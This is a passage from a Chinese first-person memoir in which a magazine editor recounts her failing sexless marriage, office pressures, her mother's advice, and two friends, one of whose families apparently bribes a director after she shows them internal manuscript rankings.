“我不回去了。”我说。是的,说来说去,我娘家不够强大,我娘家给我的爱不够强大,我自己的内心不够强大。如果老言家是我家,我就真地不回去了。可惜老言家不是我家,我没有一个温暖的娘家。我的娘家太远,我一时半会儿去不了。更何况,我的娘家像囚笼,像猪圈,只会催发我对温暖的向往,而给不了我任何温暖。 第二天一大早,老言说:“我们送你回去吧。” 我说:“我不敢回去。你们陪我去拿东西吧。” 老言夫妇陪我回去了。 他斯斯文文地接待了老言,客客气气地跟老言说:“言编辑,您坐!” 老言坐下来说:“据我所知,小宋还是一个踏踏实实过日子的人。” 他说:“你不知道,她家穷地要命,乱七八糟的,你都没见过那样的!” 老言说:“那是她小时候的家,人不能选择自己的出身。这个不怪她。”呵呵!我心里想,居然跟老言败坏我家穷!他大概不知道老言家比我家还穷,老言小时候的家,穷地大概跟我家一样,只剩下一张稻草铺的床了。 他又说:“你不知道,她骂人家那个女的,骂的那个话,可难听了,你都没见过!” 老言说:“一个妻子在面对丈夫在外面找的女人的时候,骂几句也是可以理解的。” 老言又说:“我比你大不了几岁,我想劝说你几句。希望你能听听我的建议。你跟小宋还是好好过日子。”老言是六几年的,他是七七年的,确实大不了他几岁。这下,他的心被戳了一下。 “我很失败!”他说。 不久,我们大概是和好了一段时间。 但是,子嗣问题成了不能提的事情。对于正常家庭来说,有个孩子就是两情相悦,□□好,旗开得胜,轻而易举的事情。可是对我们来说,想要个孩子,想为了孩子有个□□,是比登天还难的事。 5.你永远叫不醒一个阳痿跟你生孩子! “明天去公园游玩,游玩结束吃饭。带家属!”年长的老梁说。这一年,我被安排在稿二阶段。老梁担任我们的组长。老梁年近五十,她的嗓音跟她脸上的皮肤一样,已经松松垮垮皱皱巴巴了。她戴着眼镜,剪着齐耳的短发。她的儿子已经上了大学,她正是有钱有闲,逍遥自在的时候。作为一组之长,搞一次聚餐不仅可以增强整个团体的凝聚力,还可以彰显她一组之长的领导力和号召力。 “对,不带家属,不准去!”跟我一样同是八零后的小潘说。 我知道她们是无心的,但是也给了我很大的压力。本身,我深处这操蛋的婚姻,并且在跟黄林军的反反复复的争吵和冷战中,我的愁闷和压力,就不胜枚举。我绷着的弦遇到外力的压迫,反弹起来就会更加富有弹跳力。 我说:“我没办法带家属!” “不行!”小潘还是坚持说。 “那我不去了!”我赌气说。 “怎么?好心让你去。你还当成坏事了?谁欠你的了?”老梁赶紧护着小潘。 “我不想带家属就不带,为什么强迫我带呢?强迫我带,我就不去呗。”我说。 “人家都是好心。谁强迫你去了?”老梁比我大一轮,小潘虽然跟我同龄,但是工作时间比我久远,她在单位的地位、在老梁心目中的地位,都比我要沉。老梁看到我这个孽徒居然胆敢来反抗小潘,就断然拿出峨眉派掌门人的倚天剑向我刺过来。 “不带就不带吧。”小潘说。毕竟是同龄人,她对我的语气反倒缓和地多。 大家都不说话。老梁气鼓鼓地。她的身后,是曾经跟她叫嚣过的小蒋。 老梁睥睨着小许说:“小蒋,你去吗?” 小蒋现在正是事业上升期,除了日常工作,还有很多其他的工作。他也是不去不好意思,就曲线救国,意意思思地说:“我手里还有很多事情要处理。” 老梁说:“哪有那么多工作,劳逸结合,出去放松一下。” 我心里想,什么劳逸结合,人家本来今天能完成的事情,跟你出去半天,反而完不成了,负担反而摞地更高了。 我倒是没有什么要处理的公务,我是烦恼重重,有苦难言。组里的活动我当然想参加,不就是免费吃喝嘛,何乐而不为呢。可是我现在是后方不稳啊。组里非要求带家属,我跟我的所谓的老公吵架了,我怎么带?这不是强人所难吗?作为我来说,我当然恼火了。可是,作为组长来说,老梁当然希望振臂一挥,天下云集响应了。五十多岁的人,好像更喜欢社交,更热衷于各种活动,因为她们的孩子大了,闲来无事。可是二三十多岁的人,多数是不喜欢集体活动的,她们有的要自由活动,有的要顾家顾孩子。 “小刘,你也去吧。”老梁朝着小刘说。 “我看看吧,我家里有小孩。我还要回去给她喂奶。”刘编辑说。 “把孩子带上。”老梁说,“我们帮你抱。” “她还要换尿不湿。很麻烦的。” 刘编辑说。 “没关系,抱过来。我们帮你。” “抱过来太麻烦了。”小刘笑着说,“不行,我到时候先去奶一下她,再去参加组里的活动吧。让我婆婆看着点她。” “那也行。反正大家难得聚聚。能去则去,重在参与。”老梁说着端着茶杯出去了。 小蒋说:“其实,人家小刘家里的孩子嗷嗷待哺,哪个还有心思去参加集体活动哦。” 我说:“对啊。人家实在脱不开身,想不去就不去呗。为什么非要让人家去呢。大家都奔小康了,都摆脱了温饱了,谁那么愿意参加什么活动呢。你们闲地没事干,想搞活动,你们就自己去,谁想去谁就去,不去就不去,为什么非要拉上别人呢。也许这就是热衷于搞集体活动的博大的胸襟在作祟吧。” 小蒋说:“她们就是这样。不去就说你不配合。她们其实是最闲的时候,我们其实是最累的时候。” 我说:“谁家里要是还有一个老奶奶要照顾。老梁会不会说,‘背了来!背了来!我们大家抬着担架去你家帮你一起背过来!’” 小蒋说:“不去配合他们吃饭游玩,他们就给你扣上一顶大帽子,说你是不热爱集体。” 我说:“既然什么都要搞集体主义。那大家晚上也都不要回家了,都带着被子睡在一起好了。” 小蒋说:“你真地蛮正直的。” 其实,老梁这个人并不坏。她跟有的人比,不仅没有那些曲曲折折的小心眼儿,她甚至有些书生意气。我虽然迫近离婚,但是我还是对美食充满了兴趣。组里有活动,我冲着美食也是来者不拒。可是我自己去不就行了吗?我自己去为什么还不够呢?为什么非要搞全家大串联呢?我要是不跟我老公闹离婚,我家里要是有祖宗十八代,你只要允许,我全带了来。现在我跟我老公冷战,闹离婚,你让我带家属,我实在是有苦难言啊。 老梁端着茶杯从外面回来了。她从桌子上“刷刷”抽了几张抽纸又出去了。感情她是要上厕所。趁着老梁上厕所的空儿,我也跟了去。 我说:“你刚才让我带家属,我没办法带。我跟我老公吵架了。当着大家的面儿,我不好跟你直说。” 她说:“那好吧。我之前不知道。你不带就不带吧。” 次日下午,我们组里的几个同事去附近的公园游玩,大家都带了各自的孩子。男孩儿女孩儿都有,才几岁,很可爱。只有我,年纪大了,没有孩子。 第二天,我早早去了办公室。办公室没人儿,人家都在家忙孩子呢。就我积极! 我一下子很难过。我就那么想当劳模吗?我就那么想到办公室来吗?我三十几岁的年纪,该当妈了,该在家忙孩子了。我还一个人早早地来到办公室。我很光荣吗?我觉得我自己很可怜,很无奈!可是我怎么跟他说?我不能跟他说!他不能跟我好好说! 我一下子就哭了。我没办法安心工作了。 我就跑回家去。他去上班了。我一个人坐在沙发上,捧着手机,掉着眼泪,斗胆给他发了一条信息:“昨天出去玩,人家都带了孩子,就我没有。我们什么时候要个孩子啊。为什么你不能好好正视这个问题,早一点要个孩子。你非要被人‘啪啪’地打着脸不可吗?” 信息发出去,我知道,完了。他又要跟我离婚了。果然,晚上,他沉着脸回来了。 “离婚!”他说。 冷战,又是冷战。我跟他一起,除了结婚,就是冷战闹离婚。这是他最拿手的。吵架了冷战,不用搭理女人,都是女人不好,不是他身体的原因,多么好的借口啊。人家两口子吵架,是女人用性来要挟男人,我跟他吵架,是他用性来要挟我。也不对,也根本构不成要挟,因为我们平时根本就没有。冷战的时候,也只是周期更长的,没有了注定失败的尝试性的□□而已。平时,感情特别好的时候,还在外面蹭两下,让人知道他那颗男人的心还没有彻底死定化灰。他那个大辣椒,细腻、敏感,像一个婴儿的赤着的发软的脚丫,一点风声就吓得退回去,一蹶不振,再而衰、三而绝了。 你永远叫不醒一个阳痿跟你生孩子!跟了一个阳痿,还那么害怕离婚,我是一个多么可笑的人!跟了一个阳痿还害怕离婚,这是一件多么可怕的事情!可我那时候就是害怕,就是不敢,就是没有勇气。我害怕离婚以后,同事对我的议论,我害怕离婚以后,再去重新找一个男人。我一个外地人,我到哪里去找。社会上三教九流,乌烟瘴气,我到哪里去找一个正正经经的人。我跟着他,跟着一个阳痿,好歹是个家,他实在不行,我就跟他做个试管婴儿,把这个表面的家维持下去。我要面子。我太不想让自己崭新的人生背负上一个伤痕了。 除此之外,很关键的一点是,我那时候还不够精神独立。我对他还有依恋。我是一个从小就很缺爱的女孩子。我的灵魂深处的流浪太多了,我渴望一直跟着一个人,我渴望有个伴儿。就像一只流浪狗或是一个流浪的孩子,特别渴望一个人来收养她。一旦有人收养了她,即使挨打挨骂,它都不会离开那个家。那时候,我的骨子里特别害怕分离。当时,就是这种混球傻锤子想法,让我一而再再而三地哀求他!哀求着这个举不起来的男人,而他,也在我的哀求下越发自信和高大了起来! 那时候,有一段时间,我每天睁开眼睛,一想到他要跟我离婚,我就难过地哭,我几乎每天早上都哭着追着他问:“老公,我们能不能不要离婚?” 他边对着洗手台刷牙,边回头翻翻他那小白眼儿看看我:“不离婚怎么办啊,你老是跟我吵架!” 我很无奈,也很悲愤,嗓门儿自然就大了:“我什么时候跟你吵架了?我是说,我们要个孩子,一起好好过日子!你尽量少去炒股,你听不懂吗?” “我炒股怎么了?我炒股是为了想赚钱,我也是为了这个家。” “好吧,你炒吧。关键是你本来就是高血压,本来就是坐出来的炎症,本来就精子质量低,你本来对夫妻生活就不感兴趣,你再这样沉迷炒股,继续坐下去,那不是更不行了吗?你考虑过这些吗?” 他居高临下地给我定罪说:“你看,又跟我吵架了。” 呵呵!他那时候,多么伟大啊!用东北话说,他把我治地卑服的!伟哉!此阳痿!壮哉!此阳痿! 他回老家,我也追着跟过去。饭桌上,我想起他要跟我离婚,吃不下饭,跑到房间里哭,他妈妈板着脸,很有风度地给我的饭碗里夹了几块肉,板着脸,很有风度地推门儿送进来。她妈妈大概觉得我是自作自受,都是我跟她儿子争吵的结果。是啊,我跟男人争吵,男人拿离婚治我,我又不敢离婚了。这可不是自作自受吗?他妈妈那时候也在我的软弱无能下变得跟他一样越发自信了。她自信地觉得她的儿子可以随时休了老婆,这真是一件很给她长脸又使她很快乐的事情啊。 我请来了他的女同事来劝说他。 他说,他只跟她谈,不跟我谈。然后他们这一对儿男女一起,消失在了茫茫的夜色中。她那个女同事也乐地跟他出去私聊。她的老公在金融机构工作,有钱,且丑。她在她老公那里可以获得性的愉悦,在我老公这里可以获得美的享受。 他那个女同事也给我一些劝告:“女人要打扮自己,要精装版,你看,你跟他一起以后,你把他打扮地那么精致,你都不注重打扮自己了。” 我也请过他的那个五十多岁的常律师和秦师娘两个来劝说他。他们也来不厌其烦地劝说过他。都没什么用,他非要离婚。 “你就是为了面子!”他这样说我。也许吧,我也不知道。可是又不是,后来,当我认清了他的狠毒和不自知,他要跟我复婚的时候,我为什么没有为了面子跟他复婚呢?感情,还是感情。我太重感情。我小时候太缺爱,缺父爱,缺母爱。我的家庭不幸福。我的家庭也不能给我任何温暖和支撑。 我的母亲对待我的感情问题,很粗糙。那段时间,我闹离婚闹地很痛苦,我给她打电话,她对她的女儿没有细心的疏导、陪伴,而是大刀阔斧地跟我说:“你跟他离哎!咱山东出响马,不能充孬种!你离!” 我知道我的妈妈是个有骨气的人,这对于后来幡然醒悟的我来说,离婚,而且马上离婚,的确是没错儿。 可是,她不知道,她的女儿,她那时候的心理还不够强大。她像一只风雨中的小鸟,想死死守住那个破碎的、只能给她痛苦的巢。离婚了,茫茫天涯,她去哪里?谁能给她依靠? “妈,我就是怕离婚了不好找。上哪找合适的去。”我跟她说。 “咿呀!你放心吧!你要是离婚喽,恁那些同事都得知道!舆论一下就起来了!跟汪洋大海样!恁同事都会给你介绍的!像咱农村,那些离了婚的女人,媒人都登破门!我给你说,人家要是给你介绍对象吧。你可不要找姓刘的。姓刘的都是坏种!可坏了!” 我不耐烦地说:“妈!你光说舆论跟汪洋大海样!你不想想恁闺女怎么受的?俺那些同事都是等着看笑话的,谁给你介绍哎!城里不像农村,像我这样有点学历的想找个合适的不好找。” “那随便你哎!你不想离你就再等等哎。我给你说!还是离了好!男人有二心喽,不能托。你拖着不离,人家能把你给杀喽!到时候你小命儿就没有了。哼!我给你说吧!”我妈妈警告我说。 “我知道了妈,我会离的。就是一时半会儿有点接受不了。” “俺跟恁小弟一块儿要去恁姥娘家了,你去吧?”我妈妈问我。 “去去去!恁等等我!”我说。 过了几天,我妈妈给我打电话了。我拿着手机进了卫生间。 “我跟恁弟弟要去恁姥娘家了,你离了吗?你离呢,俺就等你,你要是再托,俺就不等你了哈。”我妈妈说话的口气,像在问一个在厕所里尿尿的人尿完了没有,又像在问一个抱着石头的人,要不要把手里的石头给扔出去。在她的眼里,我离个婚就像撒泡尿似的那么轻松那么容易。我突然更加无助了。我也更加知道我为什么老是爱陷进感情的漩涡里出不来了。因为我妈妈不够爱我,因为我妈妈不会爱我,因为我妈妈对我的爱太粗糙了。 我回她的话说:“要不,恁先去吧。我就不去了。” 我妈妈迟疑了一下,跟我说:“要不,过几天,我过去陪着你?” 我说:“不用了。我心里难过。你来了,我看着你,心里更难过。” “那你好好吃饭,要自己劝自己。”我妈妈说,“人是铁,饭是钢。” “知道了。”我说。 我以后就不再给我妈妈打电话,她在她女儿最痛苦的时候,根本给不了体贴、细腻的关心。陷入不堪的感情之中的女人,的确要靠自己走出来。但是那需要一个过程。但愿那些受伤的女人都早日坚强,尽快走出不堪的婚姻的罗网。 他的父母也来了。老两口儿一起坐镇在他的家里。天天买菜,给我们做饭,看着我们,看着他。 “他炒股发财!做他的春秋大梦吧!我把他的电脑给刨了!” 他的老父亲说。 “这个逼养的!被人家笑话了。”他妈妈说,“你爸爸大夏天的花了四百块钱去山上的庙里烧香,为的什么呀!” 我有些难过又有些悻悻地看着他妈妈。心里想,你也怕人笑话是吧。可惜你儿子不给你争气。你要是真怕别人笑话,那就想办法让你儿子不要离婚啊。可是,夫妻之间的事,夫妻生活那点事,的确不是一个老娘能够有能力来解决的。 他父亲把他去庙里求来的神符和一个观音的玉坠儿,放在他的枕头底下。他的父母过了一段时间就回去了,我们和好了一阵子。 在我们周末返回老家的时候,他妈妈照例给我们带了一袋子馄饨,还有其他的东西。他爸爸给他用布条子拴在摩托车后座儿上。他上了摩托车,我再爬上去。他爸爸妈妈一起站在天井里,目送我们走。 “小宋,回去好好的。不要让妈妈担心。啊!”他妈妈站在他的摩托车后头说。 我说:“我知道了。妈妈。”可是,她的儿子这个样子,谁有办法?不久,我们又开始闹离婚了。 怎么好?好不了。 31. 离婚 1.程云,我漆黑世界里的万丈霞光 我每天哭着去上班,哭着下班。只有在工作的时候,我才能忘记我要离婚了!是的,我只要一看书,一写文章,我就会从刚才的痛苦里快速地抽离,我就能忘记所有的痛苦。 我这一年所在的部门是稿二阶段。这一年的考核,我依然是第一。是的,只要给我同样的资源,我就能搞得不比别人差。我不服气,我根本就不服气,我跟谁都不服气。 可是,等我忙完工作,下班的那一刻,我的痛苦又把我包围了。是的,我要离婚了,我不知道该何去何从了。我的男人是阳痿,我从来没跟任何人说过。我要离婚了,我要怎么面对,我也没处跟人说。我跟同事说吗?同事?只要有一个人知道了,马上全都知道了。她们来《小坛》的时间比我早,她们有她们的朋友。她们的“聚义厅”里,早就排好了一百零八张交椅。我连第一百零九张都排不到。我的痛苦,除了给她们和她们的朋友增添新的谈资,给她们带来极大的八卦的兴奋和兴趣,于我,还能有什么意义?我的母亲、兄弟姐妹都是农民,他们在三百多公里之外的地方,不能给我任何帮助。 这个城市,像一个鸡蛋壳包裹着我。谁能在这陌生的像个混沌一样的地方,真正地给我一点光亮? 程云,我想到了她。她美丽、开朗,大方。我确信她能拉我一把。至少,我可以把我内心的苦水跟她说说。她是外人,她的生活跟我八竿子打不着。即使她说出去,那也没有关系。世界之大,离婚这件事儿在社会上来说,本不算个事儿。只是在居心叵测的同事眼里,那才成了事儿。 有一天,我拨通了她的电话:“程姐,你有空吗?我想跟你说说话。” “我在广场这边看人跳广场舞!你在哪?”她问我。 “啊,你在广场上?”我说,“那我去找你吧。” “好!我等你啊!”她说。 我去找她了。我们坐在广场边上的椅子上,我把我的事情一五一十地告诉了她。我边说边哭。程云就像一个老朋友一样陪着我。 “家家有本难念的经。我自己的婚姻也不顺,你一跟我打电话,我就知道,我们可能是同病相怜哦!” 我说:“你是怎么回事啊?” 她说:“我跟我老公也不是原配。我是河南人。我跟我前夫都有一个儿子了,被现在的老公骗了来,又生的朱江。” 我说:“啊?他是怎么骗你的啊!” “他那时候开大车,经常去我们厂里。喊我出来给我买吃的、买喝的。我那时候年轻,才二十几岁,不懂事,就被他骗来了。我河南还有一个儿子呢。” “啊?那个孩子没有妈妈,多可怜啊。你不想他吗?”我说。 “想啊。他跟着他爸爸。他爸爸又娶了一个老婆,生了两个女儿。他一回家,他后娘就骂他,把他赶出来。他就跟着他爷爷奶奶。” “可怜的小孩。那他上好学了没有,他现在怎么样了?” “他爸爸恨我,也不怎么理他。他自己也不争气,老是觉得自己亲娘不要他了。也不好好上学,到现在也没个正经工作。天天在KTV、电影院打工。连个老婆也没有。”她说。 “唉。你不在,小孩子心理确实受影响的。你要是在的话,肯定跟现在不一样。那你后悔吗?”我说。 “后悔啊,后悔也没有用。”她说。 “你为什么要离开你那个前任啊,是他不好吗,还是他家里太穷了?”我问她。 “跟他一起,日子也好过。就是年轻,不懂事,被老朱花言巧语骗了。”她说。 “那老朱自己有孩子吗?”我问她。 “有。一个女儿,嫁人了。”她说。 “跟人家当后妈,你怎么受得了的。我受不了。”我说。 “老朱父母年纪大了,死地早。只有几个大姑姐。没有公公婆婆,我就把她当成婆老太了。”她说。 “唉。真是的,没想到,你也是有故事的人。”我说。 “你就记住,家家有本难念的经。”程云说。 “可是,程云姐,你跟我不一样,你儿子都快上大学了,你们两口子一心一意地供儿子上学,你白天上班,晚上过来陪读,家里有老公,身边有儿子,眼前有希望,多好啊!我呢,被那个阳痿男人折磨地痛不欲生。我还不敢离婚。我像是被他挂在悬崖上,害怕他一放手,我就堕入万丈悬崖了!” “你也别害怕。车到山前必有路。”程云安慰我说。 我找对了人。程云是个热心肠,她家租的房子就在我上班必经的路上,我停下自行车就可以到她屋里转转。她的儿子朱江上学走地早、放学来地晚,她家的那个陪读的小房间,成了我那段黑暗的日子里温暖的港湾。晚上,下了班,我无处可去,就去她那里玩。我们或是出去走走,或是在她那里吃吃零食。她买的鸭头、水果,人家给她的喜糖、饼干,她都给我吃。有时候,我难过了,就抱着她哭,她穿着漂亮的花裙子,像个大姐姐一样,抱着我。 “我跟你说实话,我一点都不想再找了。可是他非要跟我离婚。”我哭着说。 程云也低下头去擦眼泪:“我知道,你还是喜欢他。你说说,看着你哭,我的眼泪水也掉下来了。” “你是心软,你太善良了。” 我抽着鼻涕说。 “你还这么年轻,还没有孩子,离了婚肯定是要再找的,女人还是要有个家。”她安慰我说。 “程云,你对我这么好。我都想跟你一起过了。咱俩一起过吧。”我擦着鼻涕,笑着跟她说。 “我年纪大了,又是女的。否则我就跟你一起过。”程云笑着说,“我帮你打听打听,要是有合适的,你就去看看。有人对你好了,你就不会这么难过了。” 我有时候正从家里出来,推着自行车去上班。正心情低落时,就接到了程云的电话。 “你吃饭了没?没吃饭的话,我带一份给你!” “我吃过了,你在哪?”我问她。 “我在家里,刚吃完饭,马上过来!”她说。 “噢,我去上班,下了班去找你玩!”我说。 “好的!你心情要好一点!想开点!”她说。 “噢,我知道了!”我说。 “你爱吃鱼吗?我老公钓的。你要是爱吃的话,我给你带几条过来,你下班过来拿。” “我爱吃鱼。你们自己不吃吗?”我问她。 “我们都吃够了!不要吃了!给亲戚,亲戚也吃够了!”她说。 “那好吧。我爱喝鲫鱼汤。谢谢你啊。” “我给你带上十来条,你杀杀,放到冰箱里。慢慢吃。”她说。 “好的。我下班以后去你那儿。”我说。 程云对我如此,于知己上,我还有什么不满足。我永远都不能忘记。那段最难过的日子,是程云陪着我走过来的。 下班以后,我把那些小鲫鱼带回家,就在洗手间里杀杀,放在冰箱里。我跟他,在闹离婚的过程中,还是一样的生活。但是我也不亏待程云。她给我她吃够了的鲫鱼,我就买上四十几块钱的大芒果,提着给她送去。 有一天,我正在家里。程云又给我打电话。 “喂!程云!”我说。 “你吃了没有啊,我家煮了玉米,我给你送过去!”她说。 “他在,你不要送了。”我走到厨房那儿悄悄跟她说。 “你不给他吃!我一会儿就到。”程云说话也很干脆。她果然一会儿就到了,我放下电话去小区门口等她。他也知道有这么一个人了。 “让程云给你介绍一个哈!”他又开始讽刺我。 那是当然,我心里就是这么想的!怎么了?我真要是离婚了,我就是得再找人,我就是要让程云给我介绍一个。 2.李霞,奋不顾身拯救我的人 李霞是个医生,那是夏天的一个晚上。我们第一次约着出来说话儿。 “霞姐,我要离婚了。”我跟她说。 “我也离婚了。”她说。 “你怎么也离婚了?”我问她,“我看着你气色蛮好的。” “我老公好赌,人家□□上门讨债。他自己吓地跑出去,把我和儿子剩在家里。你说,他还是个人吗?我们小区的石墩子上都被人家用墨汁给写了字。他自己不要脸,他把我们的脸也给丢尽了。我一赌气就跟他离了婚。他净身出户,房子过户给我。” “他自己在外头怎么生活呢?”我问。 “他住他父母家。他也是医生。他工资高的。他父母也有钱。他上次赌博欠了三四十万,他妈妈帮他还的。” “那你们离婚,不怕对孩子有什么影响吗?”我说。 “我儿子让我跟他离婚的。我儿子不让他回家。”她说,“可能是□□上门讨债,把我儿子给吓着了。他不让他爸爸回来。” “离婚以后,其实自己过也没什么。就是怕同事知道以后,舆论压力太大。”我说。 “是的是的!我有一个同事,知道我离婚了,聚餐的时候故意问我。‘你老公呢,他怎么没来啊?’我说,他有事,回老家了。‘回老家了?我昨天还看到他的嘛?’”她学着她的同事阴阳怪气地说。 “我知道,她们就是这样。明知道人家离婚了,偏要故意问人家,偏要人家自己揭开自己的伤疤。你只要生气,那又是你不对,是你性格有缺陷,怪不得你离婚。这就是同事!”我说,“我现在也是。我不敢离婚,主要还是怕同事议论。” “你跟我不一样。我孩子都大了。你还没有孩子呢。你都三十好几了,耽误不起。人活在世上,都不容易。放心!我会帮你的!”她跟我说。李霞让我想起了当年那个在我爷爷挥动的?头下拼死拉架,跟我妈妈喊着“妹妹你快跑”的女人,我的文利大娘。如今,我也遇到这样一个帮我的好姐姐。 我爱跟她说话。我经常跟她打电话,也爱去她家。 有一次,我又给她打电话:“霞姐,你在干嘛?” “我在做饭,你来吧。”她边洗菜边说。 我说:“好!”我放下电话,就骑着自行车去了她家。到了她那儿,我看着她洗菜、做饭,跟她说说话。她把油倒在锅里,不等到油热,就打进去一个鸭蛋,再用铲子搅拌一下。她炒的菜份量和数量都不多,所以在我眼里反而显得更香。 她炒着菜说:“你不离婚,他能给你什么?他是能给你温存?还是能给你关心?” “都不能。”我说。 “这种无性婚姻,要是别的女人,早就离了。”她说。 “我害怕别人说我。我也怕找不到合适的了。我宁肯跟他做个试管婴儿,我都不愿意离婚。”我说。 “做试管很疼的,你受得了吗?为这样的男人受这种痛苦,你觉得值得吗?”她说。 “不值得。”我说。 “其实你什么都知道,你嘴上也说地清清楚楚。你就是不敢跟他离婚。”李霞说。 我笑着说:“是的,你说地很对。” 李霞说:“我儿子刘瑞瑞最近向《小坛》投了一篇稿件。就是不知道被采用了没有。” 我说:“正好,程云家的朱江也向《小坛》投了一篇稿件。也想看看有没有被采用。我给你们看看吧。你要是没事儿,就一起过来。到我办公室里来看看。” 李霞说:“可以吗?” 我说:“可以的,没事儿。中文组才发的待用稿件名单和评分排名。我们每个编辑手里都有。等下班以后,我们三个一起去。” 到了晚上。程云,李霞都到了。我带着她们到了我的办公室,打开我的电脑。看了看。在被采用的待用稿件名单里头,赫然看到了朱江和刘瑞瑞的名字。 我说:“你看,你们儿子的文章都被《小坛》采用了。两个人的文章评分排名还差不多呢。” 李霞笑着跟程云说:“两个人排名都比较靠后。我家的,比你家的稍微靠前一点。” 程云说:“就是不知道会被分到哪个版块。” 我说:“只要自己的文章写得好。分到哪个版块还不是无所谓吗?” 李霞说:“我儿子说,他希望被分到好的版块去。哪些版块是好的?哪些版块是差的啊?” 我说:“像《文史荟萃》就是好的版块。《史海钩沉》就是差的版块。” 程云说:“我听我家朱江说,分到差版和好版是不一样的。等文章发表出来以后,好版跟差版的含金量不同。读者的关注度也不同。” 我笑着说:“我一直负责的都是《史海钩沉》这样的差版。” 李霞说:“那怎么办?我们也不认识人。要是认识人的话,找找关系,也许就能把儿子的文章分到好版去。” 程云那天穿着一条粉红色的裙子,她坐在我右边的凳子上。看着我的电脑,抿着嘴默默地笑笑,不说话。 过了几天,等我到李霞家玩的时候,李霞问我说:“你在《小坛》有能说地上话的领导吗?” 我说:“没有。我才工作了三四年,又不是本地的。我看到领导都害怕呢。” 李霞说:“我想找个人托托关系,把我儿子的文章给分到好版去。” 我说:“我跟那些领导走地都不太近。我是真不敢问。” 李霞有些生气了。她说:“你说你一个《小坛》的编辑,人家找你办事,你怎么能说不认识领导呢?找你办点儿事儿都办不成。” 我说:“我跟他们没什么交情,平时见了面,也只是打个招呼,这样儿的事儿,我跟他们张不开嘴,我也说不动他们。” 李霞在阳台上继续炒着菜,我知道她有些怪罪我,我沉默着不说话。 “程云家找人了吗?”她问我。 “我不知道,我没好意思问。”我说。 “你看你,问你点事儿,你什么都不知道。你不能只会说你不知道啊。唉!”李霞叹气说。她有些心急,对我失望恼火。我能理解她的心情。同时,我也知道,她可能也知道我是什么样的人,知道我确实懦弱无能,没那个本事。她埋怨了我几句,也就不再生气了。 李霞是曾经真心帮助我的人,她即使偶尔对我发几句火,埋怨我几句,我也不会放在心上。 恩人,毕竟是恩人。 “霞姐,你是本地的。你在青提区认识的人多。你没托熟人找找关系吗?”我问她。 “我找了呀。我找了你们社里的老陆。就是不知道有没有用。”她说。 “托人找关系要给钱的吧。”我说。 “老陆要是能给我办成的话,我肯定给他钱啊。”她说。 我知道,跟程云比,李霞这个人做事比较小心,或者,干脆就说,是比较小气。她是不见兔子不撒鹰的。人家不先给她办成事儿,她就不先给钱。但是,这样,往往逮不住兔子。而程云就不一样,以我对程云的理解,程云是散漫使钱的人。她要是想托人办事儿,她肯定是先把兔子给喂饱了,把那兔子撑地都走不动了,让那只兔子吃了这顿还想着下顿,然后心甘情愿地为她办事儿。 “霞姐,程云说周末去逛街,她让我喊你一起去。你去吗?”我问她。 “程云要是不去的话我就去。她要是去的话我就不去了。”李霞说。 “为什么?你们两个我都认识。你一起去多好啊。”我说。 “我不喜欢她。她妖里妖气的。我不喜欢这种人。你也不要跟她一起玩。”李霞说。 “嗯。”我说,“她是蛮爱打扮的。你们都是帮助过我的人。你们俩儿对我最好了。我还想着以后有恩报恩呢。我也不好就跟她彻底断绝关系。” “嗯。你想跟她一起去你就去。反正我是不想跟她一起玩儿。”李霞说。 李霞对程云颇有成见。我不知道原因是在哪里。难道就是因为程云爱打扮地花里胡哨吗?这也碍不着她什么呀。 甭说是打扮地花里胡哨,即使她是个妖,只要她对我好,我也会跟她好。况且,那时候,程云对我是真的好。李霞对我根本没有那么好。 我既然不认识领导,又实在开不了口,也不肯为李霞无辜地花一大笔钱去贿赂我的领导,又怕烧香引出鬼来,害怕开了金钱贿赂的口子,别以后被领导给逼着非要我去性贿赂。所以,李霞的这件事儿,在我这儿也就彻底终结了。至于她后来有没有找人,她找了谁,我也不知道。 我也没有去问程云,她家有没有找人,她家是怎么应对的。程云也没有跟我说起这件事儿。 后来的结果是,程云家的朱江的文章被分到了好版,李霞家的刘瑞瑞的文章被分到了差版。他们的文章评分都差不多。朱江的排名比刘瑞瑞的排名还要靠后。这是我们三个眼睁睁地看过的。可是,最后朱江被分到好版,刘瑞瑞被分到差版。这显然是背后被动了手脚。怪不得领导当初叮嘱我们,那些待用的文稿名单以及打分排名仅供内部参考,不能给外人观看。原来是为了操作方便。早知如此,那还不如不给我们看。或者,不要给我这样的低等虾兵蟹将看。仅供他们少数的一些有翻云覆雨的手段的人观看。 但是,程云家有没有找人,她是找了谁,我还是没有问。我没好意思问。我那时候跟现在比,脸皮还比较薄,还是比较清高,我没好意思问程云。尽管我现在跟那些人比起来,我的心还是不够黑,脸皮还是比较薄。 那时,我只是带着程云和李霞看了一下待用名单以及评分排名。后来的事情是她们各显神通。 现在说起来这事儿,我突然觉得我有一些对不起李霞姐姐。我没有急她之所急。我确实没有为她跟她的儿子出力。要是搁在现在,搁在我心态和脸皮都比较成熟一点的四十岁的年代,我的表现可能会比当初好一点。我应该为了李霞去问问领导,求求领导的。那些领导碍于名声名利,应该不会强人所难,逼着一个金钱贿赂他的女人再对他进行性贿赂的吧。当然,前提是那个女人实在不愿意的话。 程云对我很好。可以说,程云是我这辈子对我最好的一个朋友。程云爱拍视频,发朋友圈。她生日的时候,我请她吃饭,她就让我给她拍视频,然后,她把视频发朋友圈。她发朋友圈的时候还要配上文字:过生日,跟闺蜜一起吃饭! 她真是一个心里灿烂、活地也灿烂的人。她的老公也支持她跟我一起玩。她跟我一起玩,他也很放心。 “程云,有你真好。你对我那么好。我也没什么能帮你的。”我说。 “你也帮我了呀。”程云笑着说,“朱江的文稿能被分到好版去,还不是多亏了你嘛。” 我说:“我也只是给你们看了一下评分和排名而已。我又没有什么关系。” “那还不行啊?”程云笑着说,“我在你那里看了评分和排名,知道他的分数不牢靠。我们才赶紧找人啊。不是你给我看了名单,我们哪里知道。” 我说:“你找的人啊?” 程云说:“我没找。朱江他爸爸找的。我姑子她们通过关系,找的你们那里的人。” 我问:“你姑子找的谁啊?” 她说:“余主任。” 我说:“哦。是他呀。李霞当初问我,认识不认识我们这儿的领导。你说我哪认识啊。我能帮她找谁啊。再说了,这种事都要花钱的吧。” 程云说:“肯定要花钱的。我姑子她们花的钱。我姑子她们对我家好的。我老公在我大姑子开的厂里管事儿。我大姑子一年给他十几万,她们给朱江的压岁钱都是几千,上万。” 我说:“都是想帮衬娘家人嘛。换我我也会这样。” 程云问我:“我听我儿子说,李霞的儿子的文章被分到差版了?” 我说:“是的。” 程云说:“她没找人吗?” 我说:“她说她找了。但是不管用。” 程云说:“估计她没给人家塞钱。她是医生。医生跟老师都抠门儿的。” 我笑着说:“是有一点儿。” 